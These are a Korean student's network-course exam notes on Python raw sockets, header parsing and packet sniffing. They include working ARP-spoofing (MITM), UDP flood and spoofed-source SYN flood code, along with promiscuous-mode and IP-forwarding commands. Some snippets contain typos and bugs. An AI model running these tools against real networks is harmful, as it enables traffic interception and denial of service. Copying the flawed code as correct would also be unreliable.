Search
Duplicate

네트워크 기말

생성일
2022/06/15 01:43
태그

원시 소켓 (Raw Socket)

표준 소켓 방식

→ 운영체제에서 TCP/IP 계층별 데이터 전송 단위와 헤더 구조 등을 자동으로 처리
→ 운영체제가 이미 정해진 방식에 따라 소켓을 생성 → 소켓 활용에 대한 유연성은 없다

새로운 프로토콜을 개발하거나, 패킷 스니퍼 등과 같은 정교한 응용 도구를 구현하는 경우

원시 소켓 방식에 기반해야 한다

원시 소켓 방식

# 표준 소켓 방식에 따른 소켓 객체 생성 s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 원시 소켓 방식에 따른 소켓 객체 생성 s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
Python
복사
# 표준 소켓 방식에 따른 소켓 객체 생성 s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) # 원시 소켓 방식에 따른 소켓 객체 생성 s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
Python
복사
→ 원시 소켓 방식의 소켓 객체 생성
→ 원시 소켓 방식에서는 세 번째 매개 변수를 생략할 수 없다

setsockopt() 함수

원래 용도 → 소켓 객체를 종료하자마자, 해당 포트 번호를 재사용하도록 허용하겠다는 용도로 사용했다
원시 소켓 방식에서의 setsockopt() 함수
사용자가 헤더에 접근하도록 허용하겠다는 용도로 사용
# 원래 용도 -> 소켓 객체를 종료하자마자, 해당 포트 번호를 재사용하도록 허용하겠다는 용도 s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ####### 상위 계층 기반의 원시 소켓 생성 ####### # UDP 헤더뿐만 아니라, IP 헤더까지 사용자가 직접 생성하도록 허용하겠다는 의미 # 사용자가 직접 UDP 헤더와 IP 헤더를 생성하겠다는 의미 s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s2.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 사용자가 직접 ICMP 헤더와 IP 헤더를 생성하겠다는 의미 s3 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s3.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
Python
복사
하위 계층 기반의 원시 소켓 생성
→ 이더넷 프레임까지 확장해 원시 소켓을 생성하는 경우
→ 일반적으로 수신을 구현하는 방식
→ 데이터 링크 계층에 기반해 들어오는 데이터를 상위 계층별로 복원할 경우 → 하위 걔층 기반의 원시 소켓 생성
→ LAN 카드의 속성까지 고려
# 유닉스, 리눅스에서 하위 계층 기반의 로우 소켓 생성 s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) # socket.AF_INET -> 유닉스 리눅스 기준 # 0x0800 -> IP 패킷을 의미
Python
복사
UDP 헤더 직접 구현
source_port = 4321 destination_port = 22 length = 0 checksum = 0 udp_header = pack("!HHHH", source_port, destination_port, length, checksum)
Python
복사
TCP 헤더 직접 구현
from tabnanny import check from numpy import source import socket source_port = 4321 destination_port = 22 sequence_number = 123 acknowledgment_number = 0 offset = 5 reserved = 0 offset = (offset << 4) + reserved fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 2) + (fin << 0) window = socket.htons(5840) checksum = 0 urgent_pointer = 0 tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer)
Python
복사
가상 헤더 구현 (pseudo header)
import socket ip_source = "127.0.0.1" source_ip_address = socket.inet_aton(ip_source) ip_destination = "127.0.0.1" destination_ip_address = socket.inet_aton(ip_destination) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) pseudo_header = pack("!4s4sBBH", source_ip_address, destination_ip_address, placeholder, protocol, tcp_length) pseudo_header = pseudo_header + tcp_header tcp_checksum = checksum(pseudo_header) # TCP 헤더에서 오류 검사 항목이 활성 상태인 경우 구현하는 방식
Python
복사
TCP 페이로드
TCP 헤더
가상 헤더
IP 헤더
TCP 헤더의 오류검사 항목이 비활성 상태
## TCP 헤더의 오류검사 항목이 비활성 상태 import socket from struct import * s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #### Payload Data #### tcp_payload_data = b"Python3 Raw Socket!" #### TCP Header #### source_port = 4321 destination_port = 22 sequence_number = 123 acknowledgment_number = 0 offset = 5 reserved = 0 offset = (offset << 4) + reserved fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 1) + (fin << 0) window = socket.htons(5840) checksum = 0 urgent_pointer = 0 tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer) #### IP Header #### version = 4 header_length = 5 version_header_length = (version << 4) + header_length tos = 0 total_length = 0 id = 4321 fragment_offset = 0 ttl = 255 protocol = socket.IPPROTO_TCP header_checksum = 0 ip_source = "127.0.0.1" source_ip_address = socket.inet_aton(ip_source) ip_destination = "127.0.0.1" destination_ip_address = socket.inet_aton(ip_destination) ip_header = pack("!BBHHHBBH4s4s", version_header_length, tos, total_length, id, fragment_offset, ttl, header_checksum, source_ip_address, destination_ip_address) #### IP Packet #### ip_packet = tcp_payload_data + tcp_header + ip_header print(s.sendto(ip_packet, (ip_destination, 0)))
Python
복사
TCP 헤더의 오류검사 항목이 활성 상태
import socket from struct import * def error_checksum(msg): s = 0 for i in range(0, len(msg) , 2): w = msg[i] + (msg[i + 1] << 8) s = s + w s = (s >> 16) + (s & 0xffff) s = s + (s >> 6) s = ~s & 0xfff return s s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #### Payload Data #### tcp_payload_data = b"Python3 Raw Socket!" #### TCP Header #### source_port = 4321 destination_port = 22 sequence_number = 123 acknowledgment_number = 0 offset = 5 reserved = 0 offset = (offset << 4) + reserved fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 flags = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 1) + (fin << 0) window = socket.htons(5840) checksum = 0 urgent_pointer = 0 tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, checksum, urgent_pointer) #### 오류 검사 적용 전 TCP 헤더 생성 #### #### Pseudo Header #### ip_source = "127.0.0.1" source_ip_address = socket.inet_aton(ip_source) ip_destination = "127.0.0.1" destination_ip_address = socket.inet_aton(ip_destination) placeholder = 0 protocol = socket.IPPROTO_TCP length = len(tcp_header) + len(tcp_payload_data) pseudo_header = pack("!4s4sBBH", source_ip_address, destination_ip_address, placeholder, protocol, length) pseudo_header = tcp_payload_data + tcp_header + pseudo_header tcp_checksum = error_checksum(pseudo_header) print("TCP Checksum: ", tcp_checksum) #### 오류 검사 계산 결과 #### tcp_header = pack("!HHLLBBHHH", source_port, destination_port, sequence_number, acknowledgment_number, offset, flags, window, tcp_checksum, urgent_pointer) #### IP Header #### version = 4 header_length = 5 version_header_length = (version << 4) + header_length tos = 0 total_length = 0 id = 4321 fragment_offset = 0 ttl = 255 protocol = socket.IPPROTO_TCP header_checksum = 0 ip_source = "127.0.0.1" source_ip_address = socket.inet_aton(ip_source) ip_destination = "127.0.0.1" destination_ip_address = socket.inet_aton(ip_destination) ip_header = pack("!BBHHHBBH4s4s", version_header_length, tos, total_length, id, fragment_offset, ttl, header_checksum, source_ip_address, destination_ip_address) #### IP Packet #### ip_packet = tcp_payload_data + tcp_header + ip_header print(s.sendto(ip_packet, (ip_destination, 0)))
Python
복사

수신 관점에 따른 주요 헤더의 복원

하위 계층 기반의 원시 소켓 → 일반적으로 수신을 구현하는 방식
상위 계층 기반의 원시 소켓을 통해서도 수신을 구현할 수 있다
상위 계층 기반의 원시 소켓 생성을 통해 주요 헤더 복원
→ 패킷 스니핑을 구현하는 과정

unpack() 함수

pack() 함수와 달리
바이너리 문자열 타입을 10진수로 변경하는 기능을 수행
바이너리 문자열 타입 → 10진수
# IP 헤더(ip_header)에서 6번째 내용(ip_header[5])과 7번째 내용(ip_header[6])을 추출한다 ttl = ip_header[5] protocol = ip_header[6]
Python
복사
# 수신인 경우 ip_source_address = socket.inet_ntoa(ip_header[8]) ip_destination_address = socket.inet_ntoa(ip_header[9])
Python
복사
→ 송신인 경우, inet_aton() 함수를 이용해, 10진수 형태의 IP 주소 문자열 → 네트워크(빅 엔디안) 방식
→ 수신인 경우, inet_ntoa() 함수를 이용해, 네트워크(빅 엔디안) 방식 → 10진수 형태의 IP 주소 문자열
→ 상위 계층 기반의 원시 소켓 방식 ⇒ 이더넷 헤더와 ARP 헤더를 복원할 수 없다
⇒ 하위 계층 기반의 원시 소켓 방식 필요
⇒ 하위 계층 기반은 물리 계층의 비트 단위에서부터 응용 계층의 메시지 단위까지 순차적으로 복원이 가능
⇒ (일반적인 복원 가정)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.ntohs(0x080))
Python
복사

binascii.hexlify() 함수

import binascii # 바이너리와 아스키 사이의 변환을 위해 binascii 모듈 호출 binascii.hexlify(b"python3") # b'70791729923e33', 바이너리 -> 아스키 binascii.unhexlify("70791729923e33") # b'python3', 아스키 -> 바이너리 binascii.b2a_hex(b"python3") # b'707974686f6e33', 비이너리 -> 아스키 binascii.a2b_hex("707974686f6e33") # b'python', 아스키 -> 바이너리
Python
복사

TCP/IP 전송 계층에서 IP 헤더를 TCP 헤더로 복원하는 과정 _ 상위 계층 기반

import socket import struct import binascii s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) data = s.recv(65565) #### Ethernet Header #### ethernet_header = data[0:14] ethernet_header = struct.unpack("!6s6s2s", ethernet_header) destination_MAC_address = (binascii.hexlify(ethernet_header[0])).decode() source_MAC_address = (binascii.hexlify(ethernet_header[1])).decode() type = (binascii.hexlify(ethernet_header[2])).decode() print("Destination MAC Address: ", destination_MAC_address) print("Source MAC Address: ", source_MAC_address) print("Type: ", type) print() #### IP Header #### ip_header = data[14:34] ip_header = struct.unpack("!BBHHHBBH4s4s", ip_header) version_ip_header_length = ip_header[0] version = version_ip_header_length >> 4 ip_header_length = version_ip_header_length & 0xF ip_header_length = ip_header_length * 4 ttl = ip_header[5] protocol = ip_header[6] ip_source_address = socket.inet_ntoa(ip_header[8]) ip_destination_address = socket.inet_ntoa(ip_header[9]) print("IP Header") print("Version: ", str(version)) print("IP Header Length: ", str(ip_header_length)) print("TTL: ", str(ttl)) print("Protocol: ", str(protocol)) print("Source IP Address: ", str(ip_source_address)) print("Destination IP Address: ", str(ip_destination_address)) print() #### TCP Header #### tcp_header = data[34:54] tcp_header = struct.unpack("!HHLLBBHHH", tcp_header) source_port = tcp_header[0] destination_port = tcp_header[1] sequence_number = tcp_header[2] acknowledgment_number = tcp_header[3] offset_reserved = tcp_header[4] tcp_header_length = offset_reserved >> 4 window = tcp_header[5] checksum = tcp_header[6] urgent_pointer = tcp_header[7] print("TCP Header") print("Source Port Number: ", str(source_port)) print("Sequence Number: ", str(sequence_number)) print("Acknowledgment Number: ", str(acknowledgment_number)) print("TCP Header Length: ", str(tcp_header_length)) print("Window: ", str(window)) print("Checksum: ", str(checksum)) print("Urgent Pointer: ", str(urgent_pointer)) print() #### TCP Payload #### ethernet_header = 14 ip_header = 20 tcp_header = 20 header_size = ethernet_header + ip_header + tcp_header payload_data_size = len(data) - header_size tcp_payload_data = data[header_size:] print("TCP Payload Data") print("TCP Payload Data: ", str(tcp_payload_data)) print()
Python
복사

UDP_ 하위 계층 기반

import socket import struct import binascii s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) data = s.recv(65565) #### Ethernet Header #### ethernet_header = data[0:14] ethernet_header = struct.unpack("!6s6s2s", ethernet_header) destination_MAC_address = (binascii.hexlify(ethernet_header[0])).decode() source_MAC_address = (binascii.hexlify(ethernet_header[1])).decode() type = (binascii.hexlify(ethernet_header[2])).decode() print("Destination MAC Address: ", destination_MAC_address) print("Source MAC Address: ", source_MAC_address) print("Type: ", type) print() #### IP Header #### ip_header = data[14:34] ip_header = struct.unpack("!BBHHHBBH4s4s", ip_header) version_ip_header_length = ip_header[0] version = version_ip_header_length >> 4 ip_header_length = version_ip_header_length & 0xF ip_header_length = ip_header_length * 4 ttl = ip_header[5] protocol = ip_header[6] ip_source_address = socket.inet_ntoa(ip_header[8]) ip_destination_address = socket.inet_ntoa(ip_header[9]) print("IP Header") print("Version: ", str(version)) print("IP Header Length: ", str(ip_header_length)) print("TTL: ", str(ttl)) print("Protocol: ", str(protocol)) print("Source IP Address: ", str(ip_source_address)) print("Destination IP Address: ", str(ip_destination_address)) print() #### UDP Header #### udp_header = data[34:42] udp_header = struct.unpack("!HHHH", udp_header) source_port = udp_header[0] destination_port = udp_header[1] length = udp_header[2] checksum = udp_header[3] #### UDP Payload #### ethernet_header = 14 ip_header = 20 udp_header = 8 header_size = ethernet_header + ip_header + udp_header payload_data_size = len(data) - header_size UDP_payload_data = data[header_size:]
Python
복사

이더넷 헤더에서 ARP 헤더를 복원

#### ARP Header #### arp_header = data[14:42] arp_header = struct.unpack("!2s2s1s1s2s6s4s6s4s", arp_header) hardware_type = (binascii.hexlify(arp_header[0])).decode() hardware_type = (binascii.hexlify(arp_header[1])).decode() hardware_type = (binascii.hexlify(arp_header[2])).decode() hardware_type = (binascii.hexlify(arp_header[3])).decode() op_code = (binascii.hexlify(arp_header[4])).decode() source_MAC_address = (binascii.hexlify(arp_header[5])).decode() source_ip_address = socket.inet_ntoa(arp_header[6]) destination_MAC_address = (binascii.hexlify(arp_header[7])).decode() destination_ip_address = socket.inet_ntoa(arp_header[8])
Python
복사
→ OP Code가 0001과 같은 경우 ⇒ 브로드캐스트 방식에 의한 ARP 요청을 의미
→ OP Code가 0002과 같은 경우 ⇒ 유니캐스트 방식에 의한 ARP 요청을 의미

헤더 복원을 통한 패킷 스니핑 도구 구현

패킷 분석기 또는 패킷 스니핑 도구를 구현하기 위해서는
동작 속성을 이해해야 한다
→ 무작위 모드(Promiscuous) 는 소니핑과 관련해 아주 중요한 속성

무작위 모드 (Promiscuous Mode)

자기 LAN 카드의 MAC 주소와 프레임 헤더의 목적지 MAC 주소가 상이하더라도
LAN 카드가 해당 프레임을 수신하는 동작을 의미
→ 무작위 모드는 스니핑 도구를 구현할 때, 가장 먼저 숙지해야 할 내용
Flooding 동작을 보면
LAN 카드 ⇒ 일종의 필터 역할
또한 허브 장비를 이용한다고 무조건 송신자와 수신자의 데이터가 공격자에게 넘어가지 않는다
if 공격자가 LAN 카드를 무작위 모드로 변경한다면?
→ 무작위 모드가 주소가 상이하더라도 LAN 카드가 해당 프레임을 수신할 것이다
스니핑이 가능..!
LAN 카드 → 무작위모드 변경 명령어
# 무작위모드로 변경 ifconfig eth0 promisc # 무작위모드 중지 ifconfig eth0 -promisc
Shell
복사
UP BROADCAST RUNNING PROMISC MULTICAST
→ 무작위 모드로 동작한다는 의미

상위 계층 기반의 원시 소켓 방식에 따른 패킷 스니핑 도구

import os import socket from struct import * # OS 모듈을 이용해 무작위 모드 실행 os.system("ifconfig eth0 promisc") s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) while True: data = s.recv(65565) #### IP Header #### ip_header = data[0:20] ip_header = unpack("!BBHHHBBH4s4s", ip_header) # 수신한 데이터에서 20방이트 크기의 IP 헤더 복원 version_ip_header_length = ip_header[0] version = version_ip_header_length >> 4 ip_header_length = version_ip_header_length & 0xF ip_header_length = ip_header_length * 4 ttl = ip_header[5] protocol = ip_header[6] ip_source_address = socket.inet_ntoa(ip_header[8]) ip_destination_address = socket.inet_ntoa(ip_header[9]) print("IP Header") print("Version: ", str(version)) print("IP Header Length: ", str(ip_header_length)) print("TTL: ", str(ttl)) print("Protocol: ", str(protocol)) print("Source IP Address: ", str(ip_source_address)) print("Destination IP Address: ", str(ip_destination_address)) print() #### TCP Header #### tcp_header = data[ip_header_length : ip_header_length + 20] tcp_header = unpack("!HHLLBBHHH", tcp_header) source_port = tcp_header[0] destination_port = tcp_header[1] sequence_number = tcp_header[2] acknowledgment_number = tcp_header[3] offset_reserved = tcp_header[4] tcp_header_length = offset_reserved >> 4 window = tcp_header[5] checksum = tcp_header[6] urgent_pointer = tcp_header[7] print("TCP Header") print("Source Port Number: ", str(source_port)) print("Sequence Number: ", str(sequence_number)) print("Acknowledgment Number: ", str(acknowledgment_number)) print("TCP Header Length: ", str(tcp_header_length)) print("Window: ", str(window)) print("Checksum: ", str(checksum)) print("Urgent Pointer: ", str(urgent_pointer)) print() #### TCP Payload #### header_size = ip_header_length + (tcp_header_length * 4) payload_data_size = len(data) - header_size tcp_payload_data = data[header_size:] # 수신한 데이터에서 20바이트 크기의 IP 헤더와, 20바이트 크기의 TCP 헤더를 제외한 나머지 부분이 TCP 페이로드에 해당 print("TCP Payload") print("TCP Payload Data: ", str(tcp_payload_data)) print()
Python
복사

ARP 스푸핑 공격

→ 동일한 LAN 영역에서 라우터 MAC 주소 등을 조작하는 기법
→ 각종 스니핑 공격을 위한 전제로 수행하는 대표적인 중간자 개입 공격(MITM)
→ 공격 대상자의 패킷을 공격자가 받아서 라우터로 중계해주는 기법
→ 인터넷으로 향하는 공격 대상자의 패킷은
자신의 ARP 캐시 테이블에 올라온 맥 주소를 보고
해당 패킷을 라우터가 아닌, 공격자에게 보낸다
공격자는 이러한 패킷을 받으면 이것을 라우터에게 중계해준다
→ 물론 공격자의 ARP 캐시 테이블은 공격 대상자와 달리 정상적인 대응 관계이기 때문에
→ 이러한 중계 기능이 가능하다
~/socket# echo 1 > /proc/sys/net/ipv4/ip_forward # -> 공격자의 중계 기능을 사용하기 위해 입력 필요
Shell
복사
→ 공격자가 공격 대상자의 패킷을 수신 받아 그대로 라우터에게 전달해 주겠다는 의미
→ ARP 스푸핑 공격은 공격자와 공격 대상자가 동일한 게이트웨이를 사용하는 경우 (동일한 LAN 환경에 속할 경우) 수행 가능한 공격
→ LAN 영역에서 상당히 위협적인 공격

하위 계층 기반의 원시 소켓 생성 방식 → ARP 스푸핑 도구 구현

→ scapy 모듈
⇒ ARP 스푸핑의 동작 자체가
→ IP 주소 이면의 실제 MAC 주소를 교묘하게 조작하는 것에 목적
→ 가장 먼저 요구되는 기능 → IP주소와 이에 대응되는 MAC 주소를 찾아내는 일
→ 그런만큼 IP 주소를 이용해 MAC을 찾아내는 기능을 반복적으로 사용하기 떄문에
→ 파이썬의 함수기능으로 구현해두면 필요할 때마다 호출해 사용
getMACaddr() 함수
# 주어진 IP 주소에서 그에 대응하는 MAC 주소를 얻는다 def getMACaddr(ip): os.poopen("ping -c 1 %s" % ip) fields = os.popen('grep "%s " /proc/net/arp' % ip).read().split() if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": return fields[3] else: print("no response from " + ip)
Python
복사
grep → 현재 검색하기 희망하는 특정 IP에 대한 정보만을 추출하는 작업

poison() 함수

→ 실제 스푸핑 공격을 수행
def poison(routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
Python
복사
op = 1
ARP 요청 메시지로서 지금 송신자(psrc)가 특정 IP 주소(pdst)의 정보를 질의하는 것
op = 2
ARP 응답 메시지로서 특정 MAC 주소(hwsrc)와 대응되는 IP 주소(psrc)를 응답해 주는 것

restore() 함수

→ 후속 처리가 깔끔한 도구를 완성하기 위해서는 공격을 중단하고 원래 상태로 되돌려준다
# "ff:ff:ff:ff:ff:ff"를 목적지로 설정한 뒤 브로드캐스트 메시지를 보내면, 라우터가 응답해 # 올바르게 재설정해준다 def restore(routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
Python
복사
→ ARP 스푸핑은 내부망 환경에서 상당히 치명적이다
→ 스푸핑으로부터 보호받기 위해서, 라우터의 IP 주소와 MAC 주소 간의 대응 관계를 정적(static)으로 설정하는 arp -s 옵션을 수행하는 것이 좋다
arp -s 192.168.0.1 00:08:9f:49:5d:45
Shell
복사
→ 그러면 스푸핑 공격이 시도되더라도, 값이 함부로 변경되지 않으므로 비교적 안전
→ 시스템이 재부팅될 때마다 프로파일에 의해 자동으로 실행되도록 설정 권장

서비스 거부 공격 도구의 구현

flooding 공격

→ 출발지 IP 주소를 수시로 변경하면서, 불필요한 데이터를 계속 전송해 상대방에게 인위적으로 과부화를 유발시키는 기법
→ 일반적으로 IP 스푸핑 기법과 결합해 수행
→ 공격 시, 다수의 좀비 시스템을 동원 ⇒ DDOS 공격이라고도 부름
→ 네트워크 공격 중 가장 파괴적이고 위력적

봇넷

→ 동원된 다수의 좀비 시스템

랜드 공격 → 네트워크 계층에 기반

→ IP 스푸핑 공격을 변형한 기법
→ 출발지 IP 주소를 목적지 IP 주소와 동일하게 설정한 뒤, ICMP 요청 패킷 등을 공격 대상자에게 전송
→ 인위적인 과부화를 유발케 하는 네트워크 계층의 플러딩 공격
from scapy.all import * for x in range(1, 100): send(i/t) # 함수를 이용해 패킷을 100회 전송
Python
복사

UDP/TCP 플러딩 공격 → 전송 계층에 기반

→ UDP 패킷에는 출발지 IP 주소 항목이 있지만, 프로토콜 설계 특성상
→ 비연결 지향이기 때문에,
→ 해당 주소의 정확성 여부를 검증하지 않는다
→ 이러한 점을 악용 → 공격자는 UDP 또는 ICMP 패킷을 다량으로 전송하면서,
→ 마치 다른 사용자로부터 출발한 패킷처럼 조작할 수 있다
→ 서버는 자신이 운용 가능한 네트워크 대역폭이 제한적일 수밖에 없으므로,
→ 일정 정도의 임계치를 초과하면, 해당 서비스가 잠식
→ 다른 정상적인 접속 요청을 처리 못한다
while True: if time.time() > timeout: # 10초 초과시 종료 break else: pass client.sendto(bytes, (ip, port)) # 생성한 임의 패킷을 해당 IP와 포트 번호에 전송 sent = sent + 1
Python
복사
TCP 플러딩 공격 or SYN 플러딩 공격
→ 서버의 자원을 인위적으로 소모시키는 기법
UDP와의 차이점
TCP 플러딩 공격은 3단계 연결 설정 속성을 악용한다는 점
매 순간 공격 대상자에게 출발지 IP 주소를 조작하면서,
대량의 SYN 플래그를 쏟아 부으면
공격 대상자는 어느 순간 과부하 상태에 빠진다
→ 파괴력을 높이기 위해 흔히, TCP 플러딩 공격 수행시 봇넷을 이용
# 임의의 출발지 IP 주소를 생성하는 함수 def randomIP(): ip = ".",join(map(str, (random.randint(0, 255) for _ in range(4)))) return ip # 방화벽의 탐지 설정을 교란시키기 위해 무작위의 숫자를 추출하는 함수 def randInt(): x = random.randint(1000, 9000) return x # 조작된 패킷을 생성하는 함수 def SYN_Flood(dstIP, dstPort, counter): total = 0 print("Packets are sending...") for x in range(0, counter): s_port = randInt() # 포트 번호를 무작위로 설정 s_eq = randInt() # 일련 번호를 무작위로 설정 w_indow = randInt() # 윈도우 크기를 무작위로 설정 IP_Packet = IP() IP_Packet.src = randomIP() # 임의의 출발지 IP 주소를 생성 IP_Packet.dst = dsIP # 지정된 목적지 IP 주소를 공격 대상으로 설정 TCP_Packet = TCP() TCP_Packet.sport = s_port # 생성한 포트 번호를 사용 TCP_Packet.dport = dstPort # 지정된 목적지 포트 번호를 사용 TCP_Packet.flags = "S" # SYN 플래그 생성 TCP_Packet.seq = s_eq TCP_Packet.window = w_indow send(IP_Packet / TCP_Packet, verbose=0) # TCP 패킷 전송 total = total + 1 sys.stdout.write("\nTotal packets sent: %i\n" % total) def main(): # 조작된 패킷을 생성하고 전송하는 함수 dstIP = "127.0.0.1" # 공격 대상 IP 주소 dstPort = 4321 # 공격 대상 포트 번호 counter = 50 # TCP 플러딩 공격 횟수 지정 SYN_Flood(dstIP, int(dstPort), int(counter)) main()
Python
복사

슬로우로리스 공격 → 응용 계층

→ 웹 서비스에서 일어나는 플러딩 공격 중 가장 파괴적
→ 좀비 시스템이 없어도 상당한 효과
python3
OS 모듈
#OS module
import os
os.getcwd() - 현재 폴더의 위치
os.listdir(’. ‘) → 지정된 경로의 모든 파일들을 리스트 형태로
os.listdir(’/etc’) - etc 폴더 안의 모든 파일들을 리스트로
os.getpid() → 돌고 있는 get 프로그램의 pid를 알 수 있다
os.getppid() → 부모 프로세스의 id를 알 수 있다
os.ctermid() → 원격 접속 했을 때, 디바이스가 뭔지
cd / etc / services
→ 네트워크 서비스에 대한 정보가 있다 ([서비스 name : 해당하는 port Num])
python3
import socket
기능들
socket.getservbyname(’ssh’, ‘tcp’) → 서비스 포트 넘버를 모를 때, ssh 라는 서비스의 포트 넘버를 출력
socket.getservbyport(22) → 포트 넘버(22)는 아는데, 서비스 이름을 모를 때
socket.gethostname() → 호스트 네임 가져올 수 있다
socket.gethostbyname(socket.gethostname()) → ip 주소 출력
socket.gethostbyname(’naver.com’) → 도메인 서버의 ip 주소를 받아온다
struct module
BigE - 배열을 순서대로 메모리에 input (Network Byte
Sparc, RISC
LittE - 배열을 역순으로 메모리에 input
intel
import struct
struct.pack(’>h’, 1)
struct.pack(’>2h’, 1, 2) → 2개의 short 값을 가지는 걸루
struct.pack(’!4h’, 1 ,2 ,3 ,4)
struct.pack(’<h’, 1)
struct.pack(’<4h’, 1, 2, 3, 4)
pack = struct.pack(’!4h’, 128, 350, 120, 123)
pack
struct.unpack(’!4h’, pack) → 바이트 코드에 있는 것들을 튜플로 나타냄
socket.inet_aton(’127.0.0.1’) → 문자열을 가지고 빅엔디안의 바이트로 만들어줌
struct.unpack(’!i’, socket.inet_aton(’127.0.0.1’)) → 다시 정수값으로
k = struct.unpack(’!i’, socket.inet_aton(’127.0.0.1’)) → 다시 정수값으로
hex(k[0]) →16진수로
socket.inet_ntoa(struct.pack(’!i’, #k값))
→ 그러면 ‘127.0.0.1’ 출력된다
y = 0x00ff → 10진수로 255
socket.htons(y) → 65280 출력
hex(65280) → ‘0xff00’ 출력 (뒤집어줌)
socket.ntohs(65280) →255 출력
x = ‘yu cse’
type(x) → 문자열 타입
z = b’yu cse’
z
type(z) → bytes 타입
x = ‘영남대학교’
z=b’영남대학교' → 에러 (한글 못 받아들인다)
x = ‘yu cse’
x.encode() → 문자열을 바이트 타입의 코드로 바꿔준다
z = b‘yu cse’
z.decode() → ‘yu cse’ 출력
import nmap nm = nmap.PortScanner() nm.scan('127.0.01', '22') # 딕셔너리 형태로 반환 nm.csv() # 스캔한 결과를 csv 파일형태로 받아봄 nm.all_hosts() # nmap이 가지고 있는 host에 대한 이름 nm['127.0.0.1'].hostname() # hostname 호출 nm['127.0.0.1'].state() # 살아있나(up) 죽었나(down)? nm['127.0.0.1'].all_protocols()
Python
복사